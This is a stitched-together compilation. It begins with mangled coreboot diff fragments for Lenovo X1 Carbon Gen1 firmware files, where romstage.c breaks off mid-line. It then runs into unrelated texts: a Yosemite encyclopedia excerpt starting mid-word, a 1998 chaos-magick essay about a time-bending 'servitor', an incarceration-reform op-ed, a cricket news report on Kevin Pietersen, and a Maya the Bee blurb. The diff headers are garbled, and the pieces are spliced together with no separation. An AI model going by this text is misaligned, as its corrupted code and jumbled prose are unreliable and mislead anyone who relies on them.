pch_gpio_map mainboard_gpio_map = { +.set1 = { +.mode = &pch_gpio_set1_mode, +.direction = &pch_gpio_set1_direction, +.level = &pch_gpio_set1_level, +.blink = &pch_gpio_set1_blink, +.invert = &pch_gpio_set1_invert, +.reset = &pch_gpio_set1_reset, + }, +.set2 = { +.mode = &pch_gpio_set2_mode, +.direction = &pch_gpio_set2_direction, +.level = &pch_gpio_set2_level, +.reset = &pch_gpio_set2_reset, + }, +.set3 = { +.mode = &pch_gpio_set3_mode, +.direction = &pch_gpio_set3_direction, +.level = &pch_gpio_set3_level, +.reset = &pch_gpio_set3_reset, + }, +};
new file mode 100644
index 00000000000..2a216d39816
--- /dev/null
+++ b/ diff --git a/src/mainboard/lenovo/x1_carbon_gen1/hda_verb.c b/src/mainboard/lenovo/x1_carbon_gen1/hda_verb.cnew file mode 100644index 00000000000..2a216d39816--- /dev/null+++ b/ src/mainboard/lenovo/x1_carbon_gen1/hda_verb.c @@ -0,0 +1,75 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2011 The ChromiumOS Authors. All rights reserved. + * Copyright (C) 2014 Vladimir Serbinenko + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include <device/azalia_device.h> + +const u32 cim_verb_data[] = { + 0x10ec0269, /* Codec Vendor / Device ID: Realtek */ + 0x17aa21f9, /* Subsystem ID */ + + 0x0000000b, /* Number of 4 dword sets */ + /* NID 0x01: Subsystem ID. */ + AZALIA_SUBVENDOR(0x0, 0x17aa21f9), + + /* NID 0x12. */ + AZALIA_PIN_CFG(0x0, 0x12, 0x90a60140), + + /* NID 0x14. */ + AZALIA_PIN_CFG(0x0, 0x14, 0x90170110), + + /* NID 0x15. */ + AZALIA_PIN_CFG(0x0, 0x15, 0x03211020), + + /* NID 0x17. */ + AZALIA_PIN_CFG(0x0, 0x17, 0x411111f0), + + /* NID 0x18. */ + AZALIA_PIN_CFG(0x0, 0x18, 0x03a11830), + + /* NID 0x19. */ + AZALIA_PIN_CFG(0x0, 0x19, 0x411111f0), + + /* NID 0x1a. */ + AZALIA_PIN_CFG(0x0, 0x1a, 0x411111f0), + + /* NID 0x1b. */ + AZALIA_PIN_CFG(0x0, 0x1b, 0x411111f0), + + /* NID 0x1d. */ + AZALIA_PIN_CFG(0x0, 0x1d, 0x40138205), + + /* NID 0x1e. */ + AZALIA_PIN_CFG(0x0, 0x1e, 0x411111f0), + 0x80862806, /* Codec Vendor / Device ID: Intel */ + 0x80860101, /* Subsystem ID */ + + 0x00000004, /* Number of 4 dword sets */ + /* NID 0x01: Subsystem ID. */ + AZALIA_SUBVENDOR(0x3, 0x80860101), + + /* Pin Complex (NID 0x05) Digital Out at Int HDMI */ + AZALIA_PIN_CFG(0x3, 0x05, 0x18560010), + + /* Pin Complex (NID 0x06) Digital Out at Int HDMI */ + AZALIA_PIN_CFG(0x3, 0x06, 0x58560020), + + /* Pin Complex (NID 0x07) Digital Out at Int HDMI */ + AZALIA_PIN_CFG(0x3, 0x07, 0x58560030), +}; + +const u32 pc_beep_verbs[0] = {}; + +AZALIA_ARRAY_SIZES;
new file mode 100644
index 00000000000..a69ebcea515
--- /dev/null
+++ b/ diff --git a/src/mainboard/lenovo/x1_carbon_gen1/mainboard.c b/src/mainboard/lenovo/x1_carbon_gen1/mainboard.cnew file mode 100644index 00000000000..a69ebcea515--- /dev/null+++ b/ src/mainboard/lenovo/x1_carbon_gen1/mainboard.c @@ -0,0 +1,55 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2007-2009 coresystems GmbH + * Copyright (C) 2011-2012 Google Inc. + * Copyright (C) 2014 Vladimir Serbinenko + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include <types.h> +#include <string.h> +#include <device/device.h> +#include <device/pci_def.h> +#include <device/pci_ops.h> +#include <console/console.h> +#include <drivers/intel/gma/int15.h> +#include <arch/acpi.h> +#include <boot/coreboot_tables.h> +#include <southbridge/intel/bd82x6x/pch.h> +#include <smbios.h> +#include <device/pci.h> +#include <pc80/keyboard.h> +#include <ec/lenovo/h8/h8.h> + +static void mainboard_init(device_t dev) +{ + RCBA32(0x38c8) = 0x00002005; + RCBA32(0x38c4) = 0x00802005; + RCBA32(0x38c0) = 0x00000007; +} + +static void mainboard_enable(device_t dev) +{ + dev->ops->init = mainboard_init; + + install_intel_vga_int15_handler(GMA_INT15_ACTIVE_LFP_INT_LVDS, GMA_INT15_PANEL_FIT_DEFAULT, GMA_INT15_BOOT_DISPLAY_DEFAULT, 0); +} + +struct chip_operations mainboard_ops = { +.enable_dev = mainboard_enable, +}; + +/* TODO: this device doesnt have a dock */ +void h8_mainboard_init_dock (void) +{ +} +
new file mode 100644
index 00000000000..3e11324f4c8
--- /dev/null
+++ b/ diff --git a/src/mainboard/lenovo/x1_carbon_gen1/romstage.c b/src/mainboard/lenovo/x1_carbon_gen1/romstage.cnew file mode 100644index 00000000000..3e11324f4c8--- /dev/null+++ b/ src/mainboard/lenovo/x1_carbon_gen1/romstage.c @@ -0,0 +1,130 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2007-2010 coresystems GmbH + * Copyright (C) 2011 The ChromiumOS Authors. All rights reserved. + * Copyright (C) 2014 Vladimir Serbinenko + * Copyright (C) 2017 Alexander Couzens <[email protected]> + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include <stdint.h> +#include <string.h> +#include <lib.h> +#include <timestamp.h> +#include <arch/byteorder.h> +#include <arch/io.h> +#include <device/pci_def.h> +#include <device/pnp_def.h> +#include <cpu/x86/lapic.h> +#include <pc80/mc146818rtc.h> +#include <arch/acpi.h> +#include <cbmem.h> +#include <console/console.h> +#include <northbridge/intel/sandybridge/sandybridge.h> +#include <northbridge/intel/sandybridge/raminit_native.h> +#include <southbridge/intel/bd82x6x/pch.h> +#include <southbridge/intel/common/gpio.h> +#include <arch/cpu.h> +#include <cpu/x86/msr.h> +#include <cbfs.h> + +void pch_enable_lpc(void) +{ + /* X230 EC Decode Range Port60/64, Port
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ves of pine, fir, and sequoia, and expanses of alpine woodlands and meadows, Yosemite National Park preserves a Sierra Nevada landscape as it prevailed before Euro-American settlement.[70] In contrast to surrounding lands, which have been significantly altered by logging, the park still contains some 225,510 acres (91,260 ha) of old-growth forest.[71] Taken together, the park's varied habitats support over 250 species of vertebrates, which include fish, amphibians, reptiles, birds, and mammals.[72]
Much of Yosemite's western boundary has habitats dominated by mixed coniferous forests of ponderosa pine, sugar pine, incense cedar, white fir, Douglas fir, and a few stands of giant sequoia, interspersed by areas of black oak and canyon live oak. A relatively high diversity of wildlife species is supported by these habitats, because of relatively mild, lower-elevation climate and the mixture of habitat types and plant species. Wildlife species typically found in these habitats include black bear, coyote, raccoon, mountain kingsnake, Gilbert's skink, white-headed woodpecker, bobcat, river otter, gray fox, red fox, brown creeper, two species of skunk, cougar, spotted owl, and a wide variety of bat species.[72]
Going higher in elevation, the coniferous forests become purer stands of red fir, western white pine, Jeffrey pine, lodgepole pine, and the occasional foxtail pine. Fewer wildlife species tend to be found in these habitats, because of their higher elevation and lower complexity. Species likely to be found include golden-mantled ground squirrel, chickaree, fisher, Steller's jay, hermit thrush, and northern goshawk. Reptiles are not common, but include rubber boa, western fence lizard, and northern alligator lizard.[72]
As the landscape rises, trees become smaller and more sparse, with stands broken by areas of exposed granite. These include lodgepole pine, whitebark pine, and mountain hemlock that, at highest elevations, give way to vast expanses of granite as treeline is reached. The climate in these habitats is harsh and the growing season is short, but species such as pika, yellow-bellied marmot, white-tailed jackrabbit, Clark's nutcracker, and black rosy finch are adapted to these conditions. Also, the treeless alpine habitats are the areas favored by Sierra Nevada bighorn sheep. This species, however, is now found in the Yosemite area only around Tioga Pass, where a small, reintroduced population exists.[72]
At a variety of elevations, meadows provide important, productive habitat for wildlife. Animals come to feed on the green grasses and use the flowing and standing water found in many meadows. Predators, in turn, are attracted to these areas. The interface between meadow and forest is also favored by many animal species because of the proximity of open areas for foraging and cover for protection. Species that are highly dependent upon meadow habitat include great grey owl, willow flycatcher, Yosemite toad, and mountain beaver.[72]
Management issues [ edit ]
The black bears of Yosemite were once famous for breaking into parked cars to steal food. They were also an encouraged tourist sight for many years at the park's garbage dumps, where bears congregated to eat park visitors' garbage and tourists gathered to photograph the bears. Increasing encounters between bears and humans and increasing damage to property led to an aggressive campaign to discourage bears from relying on human food or interacting with people and their property. The open-air dumps were closed; all trash receptacles were replaced with bear-proof receptacles; all campgrounds were equipped with bear-proof food lockers so that people would not leave food in their vehicles, which were easy targets for the powerful and resourceful bears. Because bears who show aggression towards people usually are eventually destroyed, park personnel have continued to come up with innovative ways to have bears associate humans and their property with unpleasant experiences, such as being hit with rubber bullets. Today, about 30 bears a year are captured and ear-tagged and their DNA is sampled so that, when bear damage occurs, rangers can ascertain which bear is causing the problem.[73]
Despite the richness of high-quality habitats in Yosemite, the brown bear, California condor, and least Bell's vireo have become extinct in the park within historical time,[74] and another 37 species currently have special status under either California or federal endangered species legislation. The most serious current threats to Yosemite's wildlife and the ecosystems they occupy include loss of a natural fire regime, exotic species, air pollution, habitat fragmentation, and climate change. On a more local basis, factors such as road kills and the availability of human food have affected some wildlife species.
Yosemite National Park has documented more than 130 non-native plant species within park boundaries. These non-native plants were introduced into Yosemite following the migration of early Euro-American settlers in the late 1850s. Natural and human-caused disturbances, such as wildland fires and construction activities, have contributed to a rapid increase in the spread of non-native plants. A number of these species aggressively invade and displace the native plant communities, resulting in impacts on the park's resources. Non-native plants can bring about significant changes in park ecosystems by altering the native plant communities and the processes that support them. Some non-native species may cause an increase in the fire frequency of an area or increase the available nitrogen in the soil that may allow more non-native plants to become established. Many non-native species, such as yellow star thistle (Centaurea solstitialis), are able to produce a long tap root that allows them to out-compete the native plants for available water.[75]
Bull thistle (Cirsium vulgare), common mullein (Verbascum thapsus), and Klamath weed (Hypericum perforatum) have been identified as noxious pests in Yosemite since the 1940s. Additional species that have been recognized more recently as aggressive and requiring control are yellow star thistle (Centaurea solstitialis), sweet clover (Melilot spp.), Himalayan blackberry (Rubus armeniacus), cut-leaved blackberry (Rubus laciniatus) and large periwinkle (Vinca major).[75]
Increasing ozone pollution is causing tissue damage to the massive giant sequoia trees in the park, making them more vulnerable to insect infestation and disease. Since the cones of these trees require fire-touched soil to germinate, historic fire suppression has reduced these trees' ability to reproduce. The current policy of setting prescribed fires is expected to help the germination issue.
Wildfires [ edit ]
Forest fires seasonally clear the park of dead vegetation, making way for new growth.[76] These fires damage the income generated by tourism. The Rim Fire in 2013 destroyed nearly $2 billion in assets and revenue, though natural woodland assets are renewable, and closed off much of the park to tourists.[77] This fire was the third largest on record, and burned nearly 500 acres of wild habitat.[77]
During late July and early August, 2018, sections of the park, including the Valley, were temporarily closed due to the Ferguson Fire at its western boundary.[78] The closing was the largest in almost thirty years at the park.[79]
Activities [ edit ]
Yosemite Valley is open year-round and numerous activities are available through the National Park Service, Yosemite Conservancy, and Aramark at Yosemite, including nature walks, photography and art classes, stargazing programs, tours, bike rentals, rafting, mule and horseback rides, and rock climbing classes. Many people enjoy short walks and longer hikes to waterfalls in Yosemite Valley, or walks among giant sequoias in the Mariposa, Tuolumne, or Merced Groves. Others like to drive or take a tour bus to Glacier Point (summer–fall) to see views of Yosemite Valley and the high country, or drive along the scenic Tioga Road to Tuolumne Meadows (May–October) and go for a walk or hike.
Most park visitors stay just for the day, and visit only those locations within Yosemite Valley that are easily accessible by automobile. There is a US$25-30 per automobile user fee to enter the park, depending on the season.[80] Traffic congestion in the valley is a serious problem during peak season, in summer. A free shuttle bus system operates year-round in the valley, and park rangers encourage people to use this system since parking within the valley during the summer is often nearly impossible to find.[81]
In addition to exploring the natural features of the park, visitors can also learn about the natural and cultural history of Yosemite Valley at a number of facilities in the valley: the Yosemite Valley Visitor Center, the adjoining Yosemite Museum, and the Nature Center at Happy Isles. There are also two National Historic Landmarks: the Sierra Club's LeConte Memorial Lodge (Yosemite's first public visitor center), and the Ahwahnee Hotel. Camp 4 was added to the National Register of Historic Places in 2003.[82]
In the winter, it is snowed in, but the area of Tuolumne Meadows has a great deal of hiking, rock climbing, and mountain climbing.
Hiking [ edit ]
Hikers line the Half Dome cables on a busy summer day in 2008
Over 800 miles (1,300 km) of trails are available to hikers[7]—everything from an easy stroll to a challenging mountain hike, or an overnight backpack trip. One of the most popular trails leads to the summit of Half Dome and requires an advance permit from Memorial Day weekend in late May, to Columbus Day in early October.[83] A maximum of 300 hikers, selected by lottery, are permitted to advance beyond the base of the subdome each day, including 225 day hikers and 75 backpackers.[84]
The park can be divided into five sections for the day-user—Yosemite Valley, Wawona/Mariposa Grove/Glacier Point, Tuolumne Meadows, Hetch Hetchy, and Crane Flat/White Wolf.[85] Numerous books describe park trails, and free information is available from the National Park Service in Yosemite. Park rangers encourage visitors to experience portions of the park in addition to Yosemite Valley.
Between late spring and early fall, much of the park can be accessed for multiple-day backpacking trips. All overnight trips into the back country require a wilderness permit[86] and most require approved bear-resistant food storage.[87]
Driving destinations [ edit ]
While some locations in Yosemite require hiking, other locations can be reached via automobile transportation. Driving locations also allow guests to observe the night sky in locations other than their campsite or lodge. All of the roads in Yosemite are scenic, but the most famous is the Tioga Road, typically open from late May or early June through November.[88]
As an alternative to driving, bicycles are allowed on the roads. However, bicycles are allowed off-road on only 12 miles (19 km) of paved trails in Yosemite Valley itself; mountain biking is not allowed.[89]
Climbing [ edit ]
Rock climbing is an important part of Yosemite.[90] Camp 4, a walk-in campground in Yosemite Valley, was instrumental in the development of rock climbing as a sport, and is listed on the National Register of Historic Places.[91] Climbers can generally be spotted in the snow-free months on anything from ten-foot-high (3 m) boulders to the 3,300-foot (1.0 km) face of El Capitan. Classes on rock climbing are offered by numerous groups.
Winter activities [ edit ]
A ranger-guided snowshoe walk in the park
Yosemite Valley is open all year, although some roads within the park close in winter. Downhill skiing is available at the Badger Pass Ski Area—the oldest downhill skiing area in California, offering downhill skiing from mid-December through early April.[92] Much of the park is open to cross-country skiing and snowshoeing, with several backcountry ski huts open for use.[93][94] Wilderness permits are required for backcountry overnight ski trips.[86]
The Bracebridge dinner is an annual holiday event, held since 1927 at the Ahwahnee Hotel, inspired by Washington Irving's descriptions of Squire Bracebridge and English Christmas traditions of the 18th century in his Sketch Book. Between 1929 and 1973, the show was organized by Ansel Adams.[95]
Other [ edit ]
Bicycle rentals are available in Yosemite Valley spring through fall. Over 12 miles (19 km) of paved bike paths are available in Yosemite Valley. In addition, bicyclists can ride on regular roads. Helmets are required by law for children under 18 years of age. Off-trail riding and mountain biking are not permitted in Yosemite National Park.[96]
Water activities are plentiful during warmer months. Rafting can be done through the Yosemite Valley on the Merced River. There are also swimming pools available at Yosemite Lodge and Curry Village.
In 2010, Yosemite National Park was honored with its own quarter under the America the Beautiful Quarters program.[97]
In popular culture [ edit ]
The opening scenes of Star Trek V: The Final Frontier (1989) were filmed in Yosemite National Park. Films such as The Last of the Mohicans (1920) and Maverick (1994) have also been shot here.[98]
See also [ edit ]
Notes [ edit ]
References [ edit ]Don't Blame Me, Blame My Servitor
I'm not sure whether I should be worried or not. You see, Chronos is a nice enough God of Time, but he is a bit old and I'm not sure he stands a chance against what's about to hit him. Of course, he has enslaved all of Western society to the clock, so maybe he deserves it, but still yet I feel kind of sorry for him.
You see, it all started when I began playing with the idea of time magick. Not that I'm responsible for what's coming, mind you--- I'll pass the blame off to Fotamecus before anyone blames me. I turned him loose a long time ago, and I take no responsibility for his actions, especially with him ranting "Chronos, your time has come" every time I see him. Perhaps I should explain.
My own involvement with time magick was actually quite accidental. One day I got to thinking about time and how it flows, and how each hour is supposed to be the same length as all the others. Yet this didn't make sense to me--- sometimes an hour flies by as if minutes, and other times it drags on for ages. The end result of the thinking ran something like this: If we can use magick in any area of our lives, and if Time is a mutable substance, why can't we use magick to mess around with time? And thinking usually gets me into trouble sooner or later.
So one afternoon, running behind schedule, the thought passed through my mind to use magick to speed the journey. Listening to the radio as I drove down the freeway, I created a suitable Statement of Intent: "Force Time Into Compression." Because driving doesn't lend itself well to artistic sigilization, I instead reduced it to a four-syllable mantra that I could chant to radio music: "Fotamecus". Despite little preparation, it worked exceptionally well, and I thought that this would be the end of it.
The next day a good friend of mine, Quinn the Mad Prophet (don't ask), approached me and asked about sigilization techniques a la Austin Spare. Requiring a demonstration sigil, I chose to use "Fotamecus", explaining the previous day's success with it. From the mantra, I created an artistic sigil that Quinn put in his wallet for future reference, inadvertantly placing himself under its influence. Many stories of truly rapid transit followed, culminating in a Metallica concert where Quinn's goal was to "suck up all that free gnosis."
All of that free gnosis that Quinn sucked up was dumped into the Fotamecus sigil to speed the trip home, and a two hour journey took only thirty minutes. Even more surprising, the energy was enough to push the sigil over the border to servitorhood. I've used this technique before, of feeding a sigil enough gnosis until it created an independent servitor, but neither the Mad Prophet nor I had ever done it by accident. So without a home and with nowhere to go, the Fotamecus servitor, young and unintelligent, started following us around. Whenever we needed to compress or expand time we would feed it a bit of gnosis and it would do the job. It started "growing up" as we fed it, growing a little more intelligent and a bit stronger each time we used it. We thought this good and well, for the stronger he got the better he did his job.
Over Thanksgiving weekend in 1996, I crammed with six other chaotes into a van headed for Death Valley. Calling on Fotamecus while in the San Francisco Bay Area, we travelled fifty miles in fifteen minutes through both heavy traffic and the MacArthur Maze, the most dizzying interchange of highways known to man. Immediately after Fotamecus began to work, we lost a car of friends that had been following us.
Even though we killed 45 minutes at a rest stop afterwards, when we re-entered the freeway we met right up with the other car even though they had never stopped. We thought the magick had worked very well until we received the backlash later that day.
For time compressed, an equal amount of time was expanded. The balance was kept. Travelling at sixty miles an hour, a fifteen mile stretch of desert highway took nearly an hour to cross. If we had already reached our destination, the expansion would have been fine, but Fotamecus was only able to hold off the backlash from the initial compression for so long.
After several similar events we mulled over various ideas to correct the problem of backlash and hit upon the idea of viral servitors--- the key to a process of mutation that would allow Fotamecus to eventually grow beyond our control. We worked several rituals in which we altered the sigil to make it possible for Fotamecus to make copies of itself. These copies wired themselves into a network that made them incredibly effective at preventing unwanted side effects. If one of them needed to compress time and another to expand it they would pass it off to each other through the viral network, maintaining balance and reducing the possibility of backlash.
Our only problem was that we didn't limit how large the network could grow. There was no check against it--- nothing to keep it from getting out of our control. And the only problem with a reproducing virus is that sooner or later it mutates.
It was about this time that news of Fotamecus started spreading through the Internet, and an online graphic of the sigil was printed out by many for personal use. Hundreds of copies were spawned and the power of the Fotamecus Viral Servitor Network continued to grow.
As the network grew, so did the power of Fotamecus. The whole thing started acting less and less like a legion of indpendent servitors and more and more like an individual entity. He started showing greater signs of intelligence--- he would hold interesting conversations, show up when needed without request, and applied greater precision in his use of time manipulation to get the most mileage from the least effort. It became obvious to the Mad Prophet and I that he was slipping out of our control and was about to become something else. The mutation had begun, and there was little we could do to stop it.
Only a year after his initial creation, he ceased to be a network of pieces and became more than the sum of his parts. His parts were still identifiable, but they were becoming less and less distinct. The viral network itself was now stronger than the individual servitors, and looked more like a spirit in its own right with each passing day.
The full mutation took place during the hour long Midnight to Midnight when Pacific Daylight Time became Pacific Standard Time in October of 1997. Using mundane time expansion of an hour that didn't technically exist, we performed a ritual in his name that was designed to charge him with power for whatever use he saw fit. Seven people and one smashed clock were the only witnesses to the ritual.
For three days he just disappeared. Petitions for help went unanswered, conversations were one-way talks to nothingness. Divination confirmed that yes, he was still alive, but that no, he wasn't responding to anything. So we waited, and three days later he rose from the dead more changed than we had ever expected.
Many chaos magicians speak of spirits as spanning a continuum of power from the tiniest unintelligent servitor, to egregores of moderate power, to godforms capable of controlling entire cultures. In one popular theory, all godforms were at some time on the short end of the stick, and through constant use they amassed power and rose from servitor to egregore to full status as a godform. When asked how long this takes, many chaotes shrug and guess that each step takes decades or even centuries. I would say that this grossly underestimates the potential for their growth, for when we next saw Fotamecus he was no longer a puny little servitor but an egregore powerful enough to shrug us off and make his own demands.
I still don't know what allowed him to cross that boundary. I suspect that when you give a servitor enough energy from enough different people it will become an egregore, much as a sigil can become a servitor after being the recipient of strong gnosis. But similar egregores I had dealt with in the past had not been nearly as strong as Fotamecus had become, though it shouldn't have been too much of a surprise. By this time, there were hundreds of people using him daily around the world, each of them feeding him a little more power with each use. Along with the ritual performed during the Daylight Savings time-change, it was enough to push him over that border with change to spare. He reintegrated the individual parts as his limbs, while the network became his mind. Granted, he wasn't a very strong egregore yet, but he had plans of his own at this point, and he would have been difficult for any one individual to control.
Lucky for us he was friendly and wasn't about to take revenge for any perceived abuse suffered as a servitor. Instead he showed up, let us know of his egregore-hood and what was going on, and then faded into the background from where he would manipulate events. One could petition him in the same manner as before, but his skill at time manipulation had reached mastery. Oftentimes he showed up unrequested, giving help before we could think to ask for it. There were even times when he was strong enough to get us to our destinations before we had left for them. Certainly not the work of a puny servitor!
I don't see much of him anymore, but he does show up when I need him. He usually has a better idea of when I need him than I do. And sometimes he just drops by for a chat. At 2 a.m. sitting in a Denny's just a few weeks after attaining his egregore-hood, I had a particularly revealing conversation with him. It seems that he's not satisfied with being an egregore--- he wants to head for godhood and the only thing standing in his way is Chronos.
Chronos, god of fixed time--- his talismans are the timepieces that control our daily existence, his clocks are the prison guards to which we have become slaves. And never do we question his authority. But what could some upstart servitor with delusions of grandeur hope to offer?
In my own case, my full-time job became much more pleasant when I began to compress the entire day with his help. An eight-hour day felt like four or five, and this compression was fed back as expansion of my free time. A two hour lounge around the house often felt like three or four. If I needed more sleep, I would ask him to expand the night-time hours, and I would awake after five hours as if I had slept in late. So much for those last nagging doubts in my head that time is fixed and immutable. In this way does Fotamecus battle Chronos. We may be slaves to our clocks, but there is nothing to stop us from changing the flow of hours within those clocks.
Word has spread. More and more people are using Fotamecus every day, and with each new user he grows in power. Already he is plotting his attacks against Chronos with what seems to be a passionate hatred centered on vengeance for some unknown slight. He keeps muttering something about the millenium, and has told me on more than one occassion to keep an eye on London's Millenium Dome, which will hold more than 100,000 party-goers on December 31, 1999. Such comments are usually accompanied with the astral equivelant of a mischievous smile.
At this point I have a better relationship with him than I do with most gods I work with. And he seems to like me. Occasionally he pops up to tell me things to do for him, to get him out to more people or to give him ammunition for his war against Chronos. In return for a little publicity here and there, he helps me stretch those hours around the clock to get the most out of them. He even pokes me and prods me to write essays about him so that others will use him. By using his name as a mantra or by creating a ritual using his sigil to call him, he grows stronger day by day as new users feed him in return for his help. So sure, it may be neat to tell a story about how a servitor that Quinn and I accidentally created eventually ascended to egregorehood, but these days I feel more and more like I'm a servitor to Fotamecus that he feeds candy for being a good little magician. An odd relationship at best.
Fotamecus has been out of my control for a very long time now. I do worry a little bit about his war with Chronos--- I have absolutely no clue what he's got planned, and he's certainly not telling me. But to be perfectly honest, even if I am a bit worried, I've been enjoying the show. And with the millenium just around the corner it looks like it's only going to get better. This is what the Immanentization of the Eschaton is all about.
This document Copywronged (x) 1998 by Fenwick Rysen All rights reversed. Feel free to copy, hack, splice, mangle, mutilate, spindle, twist, tear, or re-print, as long as this copywrong notice remains intact. Questions to fenwick @ chaosmatrix. com or to Chaos Matrix: http://www.chaosmatrix.comIt’s time for Americans to rethink how we use prison as a knee-jerk punishment for a majority of crimes. We have the highest incarceration rate in the world. There are 2.2 million people behind bars — by far the highest incarceration rate of any comparable nation. We have less than 5 percent of the world’s population but nearly 25 percent of its prisoners.
Mass incarceration is the greatest civil rights injustice of our time. People behind bars are disproportionately black and Hispanic. The criminal justice system drives and reinforces deep-seated racial inequity.
The United States needs fundamental reform to reduce our reliance on incarceration, but it also needs to keep its citizens safe. A new report by the Brennan Center shows how to do just that.
Researchers found 39 percent of prisoners — almost 600,000 people — behind bars do not need to be there for a public safety reason. For some, mostly lower-level and non-violent offenders, prison is an inefficient and unfair sanction. For others, they have done their time behind bars and can be safely released.
These four recommendations walk through how we can achieve a fairer, more efficient criminal justice system.
1. Eliminate prison for lower-level crimes
Prison is often the default criminal justice sanction when someone breaks the law. It shouldn’t be that way. For those who commit a lower-level crime like drug possession, petty theft, or selling marijuana, prison is not just unfair, it is also a bad sanction for society at large.
Prison costs $31,000 a year per prisoner, and often does little to prevent re-offense for these crimes. Probation, treatment, or community service are all more appropriate for many lower-level crimes, not to mention much cheaper (probation is 10 times less expensive). State legislatures and Congress should change sentencing laws to make alternatives to prison the default penalty for certain lower-level crimes, like drug possession and petty theft.
2. Reduce sentence minimums and maximums currently on the books
If someone commits a serious crime, like robbery, they should be punished. But there’s little evidence that staying in prison for such long periods of time, such as the 20 or 30-year sentences imposed, will rehabilitate prisoners. In fact, research indicates that longer stays in prison do not lead to lower recidivism. Sometimes, longer stays can even increase recidivism. With prison stays growing longer each year, lawmakers should consider reducing the time many inmates spend behind bars when it’s not necessary.
State and federal legislatures should reduce the minimum and maximum sentencing guidelines, and make them more proportional to the crimes committed. We suggest in the report that legislators consider a 25 percent cut as a starting point for the six major crimes (aggravated assault, drug trafficking, murder, non-violent weapons offenses, robbery and serious burglary) that make up the bulk of the nation’s current prison population. This will make our system smarter while still protecting public safety.
3. Make these changes retroactive
If we know that something is good policy, then we should practice it. Many times, criminal justice reforms only impact future defendants.
But if the reform is the right policy, then we should live by it. Current inmates should be able to petition judges for retroactive application of the two reforms above, on a case-by-case basis.
4. More ideas
There are other ways the country can improve the criminal justice system for the better that line up with the goals of the Brennan Centers report:
Reinvest savings into crime prevention polices: The recommendations in the recent Brennan Center report would save almost $20 billion dollars a year. We should reinvest those savings into police, schools, and reentry programs, which will help improve public safety even more. $20 billion could cover 270,000 police officers, 327,000 teachers, or 360,000 probation officers. Most experts agree that these investments better prevent crime than prison.
Eliminate “Three Strikes Laws” and “Truth in Sentencing”: Both policies take away the ability of judges to properly asses the appropriate sentence for defendants in the criminal justice system. We should trust our judges to make these decisions instead of forcing an inappropriate sentence with set-in-stone rules.
Prosecutors should seek lower penalties when appropriate: Prosecutors should use their discretion to implement the recommendations in our report. Their sentencing recommendations should not simply aim to put defendants behind bars for the longest time possible. The best way to keep us all safe is for prosecutors to seek the most proportional punishment – one that fits the crime ― not simply the harshest one.
The evidence-based findings in this report show one way to rethink sentencing that will reduce the criminal justice system’s disproportionate impact on communities of color, keep hard-won declines in crime over the last 20 years, and save significant amounts of money.ESPNcricinfo staff
Kevin Pietersen has been ruled out of the World Cup due to his hernia and will return home immediately to undergo surgery. He complained of further soreness following an eight-over spell during England's six-run victory over South Africa in Chennai and Eoin Morgan has been confirmed as his replacement
"I fly home tonight. Out of the WC & IPL. Absolutely devastated!!" Pietersen said on his Twitter page on Monday morning. Morgan's call-up to the World Cup completes a full turnaround for the left-hander who was initially ruled out of the tournament with a broken finger picked up in Australia.
However, after being told he needed surgery the injury didn't prove as severe as first thought and Morgan has followed the same route as Michael Hussey, who replaced Doug Bollinger for Australia after recovering from his hamstring injury, into a tournament that appeared to have passed him by.
Pietersen, meanwhile, will be out of action for around six weeks after surgery, which means he will struggle to be fit in time to take up his contract with Deccan Chargers in the IPL, but he is expected to return in time for the first Test of the home season against Sri Lanka, in Cardiff, on May 26. Pietersen's injury was confirmed after the team returned from Australia last month and revealed on Saturday, although the original intention had been to manage the problem through the rest of the World Cup.
Reacting to the news, England's coach, Andy Flower, reiterated his belief that Pietersen could have made it through the tournament with careful management, and remarked that the player might have tried to "bite the bullet". "Unfortunately he says the pain is too debilitating, and he can't go on like that," added Flower. "So it's a pretty simple decision to replace him."
Despite his early Twitter remarks, Pietersen was quick to look on the bright side of his early return to England, with the prospect of seeing his young son, Dylan, right at the top of his priorities. "Every cloud has a silver lining they say.. Well, as frustrated as I am to be missing the rest of the WC & IPL, I'll be at home with my family & friends.. I haven't been home properly since 29 Oct... Time with family & friends is always sorely missed when on the rd... Can't wait to see my little man....."
On a spinning wicket in Chennai, England had no option but to turn to Pietersen's offbreaks in a bid to force their crucial victory over South Africa and the decision to send him home was made after the game. He had picked up a groin strain during the one-day series in Australia but only missed one match. However, with only three days back at home between that tour and leaving for the World Cup there was little time for players to overcome any injury concerns.
Pietersen had taken on a new role at the World Cup, having been promoted to open the batting alongside Andrew Strauss. He had looked in good form during his first three innings with scores of 39, 31 and 59 before edging to slip for 2 in the first over of the match in Chennai. Pietersen spent time off the field during Ireland's famous run-chase on Wednesday and looked hampered during the tense final stages of the South Africa victory.
Before the World Cup there was a report that Pietersen was planning on quitting ODI cricket after the tournament and although he denied the story there is a strong chance he has now played his last international in the format. England's next ODIs after the World Cup are against Sri Lanka in June.
There are various options to replace Pietersen at the top of the order with most of England's batsmen having had time in the role. Matt Prior was opening in Australia before reverting to the middle order, Ian Bell was touted as an option for the World Cup while Ravi Bopara, who returned to the side with a Man-of-the-Match 60 against South Africa, is another possible solution.Maya the Bee (German: Die Biene Maja) is the main character in The Adventures of Maya the Bee, a German book, comic book series and animated television series, first written by Waldemar Bonsels and published in 1912. The book has been published in many other languages.
